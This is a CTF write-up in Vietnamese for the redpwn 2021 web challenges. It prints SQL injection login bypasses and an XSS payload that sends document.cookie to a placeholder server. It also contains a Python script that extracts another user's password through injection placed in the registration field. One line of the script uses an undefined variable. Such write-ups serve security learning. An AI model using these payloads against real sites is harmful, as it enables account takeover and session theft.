[Web]redpwn 2021

inspect-me

Ctrl+U -> Ctrl+F 'flag'

flag{inspect_me_like_123}

orm-bad

Bài này là sqli cơ bản, trong source app.js có statement SELECT sql dễ bị khai thác:

Username: admin' -- -

Password: gicungduoc

flag{sqli_overused_again_0b4f6}

pastebin-1

Đây là 1 bài CSS cơ bản.

Create Paste: <script>fetch('yourserver.com?c=' + document.cookie)</script>

Submit url đến Admin bot, và kiểm tra server:

flag{d1dn7_n33d_70_b3_1n_ru57}

secure

Đây là sqli cơ bản dễ dàng khai thác tại statement SELECT, nhưng trước khi gửi thì username và password được base64 encode nên cần dùng Proxy để sửa trước khi gửi đi.

PAYLOAD: username=gicungduoc&password='+or+1=1+--+-

flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}

cool

Source app.py cho ta biết: account ginkoid được insert vào db mỗi lần khởi tạo, password của user này có 32 ký tự ngẫu nhiên, chức năng register chỉ cho phép tạo tên chứa chữ và số.

Với chức năng register thì có một chỗ có thể khai thác là không check password.

Ý tưởng: Mình sẽ tạo 1 account với username random và password là 1 ký tự của password user ginkoid. Không biết password đó là gì, mình đăng nhập để bruteforce 1 ký tự password đó bằng username vừa đăng ký. Nếu login thành công thì CHÍNH NÓ =))) làm lại như vậy 32 lần!

import requests
import re

s = requests.Session()


def register(username, password):
    req = {'username': username, 'password': password}
    page = s.post('https://cool.mc.ax/register', data=req)

    if 'You are logged in!' not in page.text:
        print(f'failed to register username: {username}')
        exit(1)


def logout():
    s.get('https://cool.mc.ax/logout')


def login(username, password):
    logout()
    req = {'username': username, 'password': password}
    page = s.post('https://cool.mc.ax/', data=req)
    return 'You are logged in!' in page.text


def make_username(user):
    username = 'thientestne' + str(user)
    return username.replace('0', 'X')


def bruteforce_char(i):
    pswd = f"'||(SELECT substr(password,{i+1},1) FROM users));--"
    register(make_username(i), pswd)

    allowed_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
    for c in allowed_characters:
        success = login(make_username(i), c)
        if success:
            print(c)
            return c

    print(f"{i}")
    exit(1)


psw = ''

for i in range(32):
    psw += bruteforce_char(i)

print(f"password: {computed_pswd}")

req = {'username': 'ginkoid', 'password': psw}
page = s.post('https://cool.mc.ax/', data=req)
print(re.findall("flag\{[ -z|~]+\}", page.text)[0])

flag{44r0n_s4ys_s08r137y_1s_c00l}

Last updated

Was this helpful?